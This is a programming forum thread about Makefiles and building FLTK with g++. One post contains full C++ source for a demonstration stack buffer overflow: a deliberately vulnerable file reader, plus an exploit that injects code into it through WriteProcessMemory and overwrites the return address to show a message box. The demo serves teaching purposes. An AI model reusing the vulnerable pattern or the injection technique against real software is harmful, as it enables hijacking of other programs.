Thread: Easy Makefile Test

  1. #31
    Registered User
    Join Date
    Nov 2012
    Posts
    1,393
    Remember that make knows how to run gcc and g++, so for example you don't have to tell it an explicit rule for building .o files or for linking your executable. You also don't need to tell it to use the -c flag (Make knows to do that already).

    In your original example, suppose you want the final executable to be called Exercises and that Exercises depends on two other compilation units stored in main.o and functions.o. You want main.o to be built from main.cpp and you want functions.o to be built from functions.cpp and you want Exercises.exe (or Exercises on Linux) to be built by linking main.o and functions.o together, and compiling Exercises.cpp and linking that as well. You want to use g++ as your C++ compiler and you also want to use it in the linking stage.

    You could specify the rules yourself to make this happen, but it turns out that these steps are already handled by implicit rules. Here is the Makefile you need:

    Code:
    CXX=g++
    CC=$(CXX)
    CXXFLAGS=-g -std=c++11 -Wall
    CPPFLAGS=-DUSE_FOO
    LDFLAGS=
    LDLIBS=
    
    all: Exercises
    Exercises: functions.o main.o
    Running make with that project will run these invocations (on Win32, don't add the .exe extension to Exercises. This is handled by Make already).

    Code:
    g++ -g -std=c++11 -Wall -DUSE_FOO  -c -o functions.o functions.cpp
    g++ -g -std=c++11 -Wall -DUSE_FOO  -c -o main.o main.cpp
    g++ -g -std=c++11 -Wall -DUSE_FOO   Exercises.cpp functions.o main.o   -o Exercises
    Notice that an example feature macro USE_FOO is defined for each invocation. Suppose you want to rebuild your executable but to use a different feature which is activated by defining the macro USE_BAR instead. You don't have to edit the Makefile, just issue Make like this:

    Code:
    make -B CPPFLAGS=-DUSE_BAR
    -B is similar to choosing "Rebuild" from your IDE. I tend to use this all the time when building small projects with Makefile's to make sure everything gets built properly.

  2. #32
    C++まいる!Cをこわせ!
    Join Date
    Oct 2007
    Location
    Inside my computer
    Posts
    24,654
    It took some time, but I managed to create a program to utilizes a buffer overflow exploit.
    See it in action over at https://www.youtube.com/watch?v=s1a7...ature=youtu.be.

    Full code below.
    Code consists of two programs. One which is innocent program that just reads a file and display what it reads to the user, but does so in a way that's exploitable.
    The other program is the perpetrator which exploits this loophole to hijack the program.

    Innocent program:
    Code:
    #include <iostream>
    #include <fstream>
    
    int main()
    {
    	char MyString[256];
    	std::ifstream InF("Hacked.txt");
    	
    	// Don't do this. Seriously. This line is precisely what causes this exploit to actually work. Use a std::string instead.
    	InF >> MyString; // Don't do this
    
    	std::cout << "The contents of the file was: " << MyString << ". Goodbye!\n";
    	std::cout << "Press any key to continue...";
    	std::cin.get();
    }
    Perpetrator:
    Code:
    #include "stdafx.h"
    #include <Windows.h>
    #include <iostream>
    #include <fstream>
    
    constexpr char* StringBaseAddr = (char*)0x12340000;
    
    void InjectedCode()
    {
    	typedef int (WINAPI MsgBoxFnc)(HWND, LPCWSTR, LPCWSTR, UINT);
    	
    	// The actual address of functions between processes can differ, so we hardcode the address in the target EXE
    	auto MsgBox = (MsgBoxFnc*)0x7579FD3F;
    	
    	// We cannot pass string literals here since they would end up being embedded into the executable and not as actual code. The code would just push the addresses to these
    	// strings on the stack in the function call. So we have to copy over these strings into the target process's memory and pass their addresses here.
    	MsgBox(nullptr, (wchar_t*)StringBaseAddr, (wchar_t*)(StringBaseAddr + 100), MB_ICONEXCLAMATION);
    	
    	// One would actually be surprised at how hard it is to inject code. Things like functions have other addresses, making functions call of any time difficult.
    	// In fact, the C++ standard library tends to be loaded at different addresses each time the program is run, so no calls to STL functions could be made (including std::cout).
    	// It should be possible to locate these symbols, however. But that's a task for another time.
    	for (;;);
    }
    
    PROCESS_INFORMATION SpawnProcess()
    {
    	STARTUPINFO si = {};
    	PROCESS_INFORMATION pi = {};
    	si.cb = sizeof(si);
    	si.wShowWindow = SW_SHOW; // Ensure spawned process console is visible
    	CreateProcessW(LR"(\Other\Visual Studio\Bin\Test\x86\Debug\Test.exe)", L"", nullptr, nullptr, FALSE, 
    		// We create it suspended because we need to inject code into the target's virtual memory before it executes.
    		// We also create a new console so that the process doesn't hijack this process's console.
    		CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
    		nullptr, nullptr, &si, &pi);
    	return pi;
    }
    
    int main()
    {
    	{
    		std::cout << "Running normal (no buffer overrun)...\n";
    		std::cout << "Press any key to continue...";
    		std::cin.get();
    		auto pi = SpawnProcess();
    
    		// Write a normal file (no buffer overrun)
    		std::ofstream OutF("Hacked.txt");
    		OutF << "Hello World!";
    
    		// Make sure to close file so the target process can read it.
    		OutF.close();
    
    		ResumeThread(pi.hThread);
    	}
    
    	{
    		std::cout << "\nRunning code injection (by exploiting buffer overrun)...\n";
    		std::cout << "Press any key to continue...";
    		std::cin.get();
    		auto pi = SpawnProcess();
    		
    		// Allocate a region of virtual memory in the target process so we can inject code
    		char* AddressToInjectedCode = (char*)VirtualAllocEx(pi.hProcess, StringBaseAddr, 0x3000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    		
    		// Ensure the address we inject to does not have any 0 bytes because when reading a string, a 0 byte it considered a null terminator (end of string) and hence is not
    		// written to the target string when reading. This is problematic since it may cause the process to jump to the wrong address!
    		AddressToInjectedCode += 0x1234;
    
    		// Inject the hijacked code
    		WriteProcessMemory(pi.hProcess, AddressToInjectedCode, &InjectedCode, 0x1000, nullptr);
    
    		// Write the string literals to the target process memory. This is since these string do not exist in the target process executable and we need to pass these
    		// to MessageBoxW.
    		WriteProcessMemory(pi.hProcess, StringBaseAddr, L"You have been hacked! Mwahahaha!", (wcslen(L"You have been hacked! Mwahahaha!") + 1) * sizeof(wchar_t), nullptr);
    		WriteProcessMemory(pi.hProcess, StringBaseAddr + 100, L"You have been hacked!", (wcslen(L"You have been hacked!") + 1) * sizeof(wchar_t), nullptr);
    
    		// Write the file. As it turns out, we need to write 272 bytes. These can be anything, as long as they don't contain a null terminator since the target process
    		// will then stop reading. Starting at the 273th byte, magic happens! The target process does not check for buffer overruns and will happily just continue writing
    		// bytes for as long as it can find bytes in the file. Eventually, it runs past its buffer.
    
    		// The stack grows downwards. That means higher addresses belongs to elements "further down" the stack. One piece of data stored on the stack is the return address for
    		// function calls. When a function call is made, the return address is stored on the stack. We can overwrite this return address to make the target process jump to a
    		// function we specifically injected.
    
    		// All we need to do is put enough data in the file (and the correct contents) such that the target process writes beyond the buffer and overwrites the return address
    		// and we're done!
    		std::fstream OutF("Hacked.txt", std::ios_base::in | std::ios_base::out | std::ios_base::binary);
    		OutF << "abcdefghijklmnopqrstuvwxyzċäöABCDEFGHIJKLMNOPQRSTUVWXYZĊÄÖ1234567890abcdefghijklmnopqrstuvwxyzċäöABCDEFGHIJKLMNOPQRSTUVWXYZĊÄÖ1234567890abcdefghijklmnopqrstuvwxyzċäöABCDEFGHIJKLMNOPQRSTUVWXYZĊÄÖ1234567890abcdefghijklmnopqrstuvwxyzċäöABCDEFGHIJKLMNOPQRSTUVWXYZĊÄÖ1234567890";
    
    		// Here we write the address to the address where we injected the code. These 4 bytes will overwrite the stack return address and cause the program to jump to this
    		// new injected address instead.
    		OutF.write((char*)&AddressToInjectedCode, 4);
    		
    		// Make sure to close file so the target process can read it.
    		OutF.close();
    
    		ResumeThread(pi.hThread);
    		std::cout << "\n";
    	}
    
        return 0;
    }
    Disclaimer: This works if the innocent program is compiled in Debug config and the perpetrator is compiled using Release config. Tested with Visual Studio 2015. Don't expect it to work with other compilers.
    Last edited by Elysia; 09-21-2015 at 06:04 PM.
    Quote Originally Posted by Adak View Post
    io.h certainly IS included in some modern compilers. It is no longer part of the standard for C, but it is nevertheless, included in the very latest Pelles C versions.
    Quote Originally Posted by Salem View Post
    You mean it's included as a crutch to help ancient programmers limp along without them having to relearn too much.

    Outside of your DOS world, your header file is meaningless.

  3. #33
    Registered User FourAngels's Avatar
    Join Date
    Aug 2015
    Location
    Canada
    Posts
    130
    This link will help. I could not find this information at the time when I had this problem <https://ftp.gnu.org/old-gnu/Manuals/..._10.html#SEC95 >.

  4. #34
    C++まいる!Cをこわせ!
    Join Date
    Oct 2007
    Location
    Inside my computer
    Posts
    24,654
    We're back to posting nonsense again? 'kay, bot.
    Quote Originally Posted by Adak View Post
    io.h certainly IS included in some modern compilers. It is no longer part of the standard for C, but it is nevertheless, included in the very latest Pelles C versions.
    Quote Originally Posted by Salem View Post
    You mean it's included as a crutch to help ancient programmers limp along without them having to relearn too much.

    Outside of your DOS world, your header file is meaningless.

  5. #35
    Registered User FourAngels's Avatar
    Join Date
    Aug 2015
    Location
    Canada
    Posts
    130
    I wasted close to 2 hrs trying to get my Makefile to compile an Fltk program. I downloaded Fltk because I went to the Stroustrup book. In the end it did not work, but the lib files are all set up for cmake, and not make. It might have worked if I used cmake. Well, you see, I broke the golden rule. I should just stick to my book and relax! Why am I trying to do things? I had an okay day...changed a head light in my car, washed some clothes, played the violin, ate some home made french fries, and than I sat down to the computer to learn stuff and it made the fatal mistake, I tried to do something instead of just relaxing and following a book. Not only is there make and cmake, but there is likely wmake, xmake, and wxymake....
    Last edited by FourAngels; 09-23-2015 at 10:28 PM.

  6. #36
    Guest
    Guest
    CMake is pretty dominant and here to stay, so I think you shouldn't feel that it's too niche to get into. Maybe postpone that for a later time though, if you want to focus on your book.

  7. #37
    Registered User FourAngels's Avatar
    Join Date
    Aug 2015
    Location
    Canada
    Posts
    130
    Yes, it does use cmake for sure however there is a couple of directories with source files. So I thought that I could ignore cmake and use these two directories because all of the files are located in these directories, however my Makefile would not work, so I was doomed either way.
    Code:
    /Fullpathname/Fltk/fltk-1.3.3/src    //has Fltk library .c, .cxx, and .o files
    /Fullpathname/Fltk/fltk-1.3.3/FL    //has Fltk library .h files
    Another thing, I remembered that the include paths need to be adjusted, however it actually appears that some of the object files are not built, for example there is no Fl_Window.o object in */fltk-1.3.3/src.
    Code:
    #include <FL/Fl_Window.H> //Looks in /usr/include directory
    #include "/Pathname/Fltk/fltk-1.3.3/FL/Fl_Window.H" //manual pathname to the files
    Basically it is still set up for cmake even though the src files are there, unless there are things that I do not know about, for example, why isn't there a Fl_Window.o file, there might be a reason, but if I wanted to manually build my executable, I might need that file.
    Last edited by FourAngels; 09-24-2015 at 12:34 AM.

  8. #38
    Lurking whiteflags's Avatar
    Join Date
    Apr 2006
    Location
    United States
    Posts
    9,612
    Have you tried reading other sources, like CMakeForFLTK - KitwarePublic. From what I can tell, you pass none of the necessary ld flags, so no .O files.

  9. #39
    Registered User
    Join Date
    Nov 2012
    Posts
    1,393
    Quote Originally Posted by FourAngels View Post
    Yes, it does use cmake for sure however there is a couple of directories with source files. So I thought that I could ignore cmake and use these two directories because all of the files are located in these directories, however my Makefile would not work, so I was doomed either way.
    I think you have two problems you're trying to tackle at once:

    1. Building FLTK from their source distribution.
    2. Using FLTK in your own projects.

    For #1, it seems that you can use CMake if you want, but it may be easier just to use autoconf tools (it is the classic way to build Linux projects):

    ./configure --prefix=FOO
    make
    make install

    I just checked and this is exactly how I compiled mine. It also works on Windows with MinGW (gcc 4.8.2 tested; other versions should also work):

    Code:
    ./configure --prefix=/usr/local --enable-localjpeg --enable-localpng &&
    make &&
    make install
    For #2 (using FLTK), you can use whatever build system you normally use to build programs. It may be instructive to issue g++ commands longhand the first time to build one of the test programs using FLTK to convince yourself that it is really working as expected. If you can do that, you can also easily incorporate FLTK into your classic Makefile's or into Visual Studio or Code Blocks or whatever else.

  10. #40
    Registered User FourAngels's Avatar
    Join Date
    Aug 2015
    Location
    Canada
    Posts
    130
    I had installed it, but I could not get an example program to compile and link. I used:
    Code:
    g++ -I/usr/local/Include/FL -c Rabbit.cc
    Next step, It did not know how to link the .o file.

  11. #41
    Lurking whiteflags's Avatar
    Join Date
    Apr 2006
    Location
    United States
    Posts
    9,612
    The -c command suppresses linking. You will have to enter another g++ command like that one but use, say -o, plus the .o files, to link.

  12. #42
    Registered User FourAngels's Avatar
    Join Date
    Aug 2015
    Location
    Canada
    Posts
    130
    Code:
    $ g++ -I/usr/local/include/FL -c Rabbit.cc 
    $ g++ -I/usr/local/lib -o Rabbit.o 
    g++: fatal error: no input files
    compilation terminated.
    I even found this page: < http://www.fltk.org/doc-1.3/basics.html >. I still could not get it to work, using those flags. Oh well, back to Python. It isn't that big of a deal. Thanks Prelude.
    Last edited by FourAngels; 09-25-2015 at 12:56 AM.

  13. #43
    C++まいる!Cをこわせ!
    Join Date
    Oct 2007
    Location
    Inside my computer
    Posts
    24,654
    Interesting... first Python comes out of nowhere and then Prelude, who hasn't participated in the thread, is thanked.
    I'm convinced.
    Quote Originally Posted by Adak View Post
    io.h certainly IS included in some modern compilers. It is no longer part of the standard for C, but it is nevertheless, included in the very latest Pelles C versions.
    Quote Originally Posted by Salem View Post
    You mean it's included as a crutch to help ancient programmers limp along without them having to relearn too much.

    Outside of your DOS world, your header file is meaningless.

  14. #44
    Registered User
    Join Date
    Nov 2012
    Posts
    1,393
    Quote Originally Posted by FourAngels View Post
    Code:
    $ g++ -I/usr/local/include/FL -c Rabbit.cc 
    $ g++ -I/usr/local/lib -o Rabbit.o 
    g++: fatal error: no input files
    compilation terminated.
    The syntax for gcc and g++ is like this:

    Code:
    g++ CXXFLAGS LDFLAGS -o OUTFILE INFILE1 INFILE2 ... LDLIBS
    Notice in your above command that you specified OUTFILE but no input files. That's why you received that error.

    Also, notice in the page you linked that the proper way to write include's for FLTK is

    #include <FL/Fl.H>
    #include <FL/Fl_Window.H>
    #include <FL/Fl_Box.H>
    ...

    So for example you would probably want to put /usr/local/include in your include search path (that way #include <FL/Fl.H> will resolve to /usr/local/include/FL/FL.H). For example, if you put /usr/local/include/FL in your search path, the compiler will look for the file /usr/local/include/FL/FL/FL.H (possible that's where you put it - but unlikely).

    You also probably need to extend your library search path to include the place where you put the FLTK library files. Finally you need linker parameters to link the library. This is what I use when I build a program using FLTK on Windows/MinGW. Notice I am using static link libraries. It might be different for you if you used different libraries or dynamic libraries instead.

    Code:
    g++ -g -std=c++11 -Wall -static -DWIN32 -DUSE_OPENGL  -I/opt/tools/include -L/opt/tools/lib hello.cpp  -lfltk_images -lfltk -lfltk_jpeg -lfltk_png -luuid -lole32 -lcomctl32 -lgdi32  -o hello
    The define directives WIN32 and USE_OPENGL are system specific. On Linux you would not define WIN32 for example. The pkg-config program is supposed to expand these out for you, but I usually just directly include the needed flags in my build configuration for a particular target system. Here is the Makefile version of the above:

    Code:
    CXX=g++
    CC=$(CXX)
    CXXFLAGS=-g -std=c++11 -Wall -static
    CPPFLAGS=-DWIN32 -DUSE_OPENGL 
    LDFLAGS=-I/opt/tools/include/ -L/opt/tools/lib/
    LDLIBS=-lfltk_images \
      -lfltk \
      -lfltk_jpeg \
      -lfltk_png \
      -luuid \
      -lole32 \
      -lcomctl32 \
      -lgdi32 \
    
    all: hello
    Last edited by c99tutorial; 09-25-2015 at 02:16 PM.

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Easy to use random number test suite?
    By Sebastiani in forum General Discussions
    Replies: 3
    Last Post: 07-12-2009, 08:17 AM
  2. difference makefile makefile.am makefile.in
    By Bargi in forum Linux Programming
    Replies: 7
    Last Post: 10-28-2007, 02:08 PM
  3. Test at http://www.artlogic.com/careers/test.html
    By zMan in forum C++ Programming
    Replies: 6
    Last Post: 07-15-2003, 06:11 AM
  4. easy test to speach engine
    By Andrewthegreen in forum Windows Programming
    Replies: 1
    Last Post: 10-19-2002, 02:19 PM
  5. Easy question, (should be) easy answer... ;-)
    By Unregistered in forum A Brief History of Cprogramming.com
    Replies: 1
    Last Post: 06-12-2002, 09:36 PM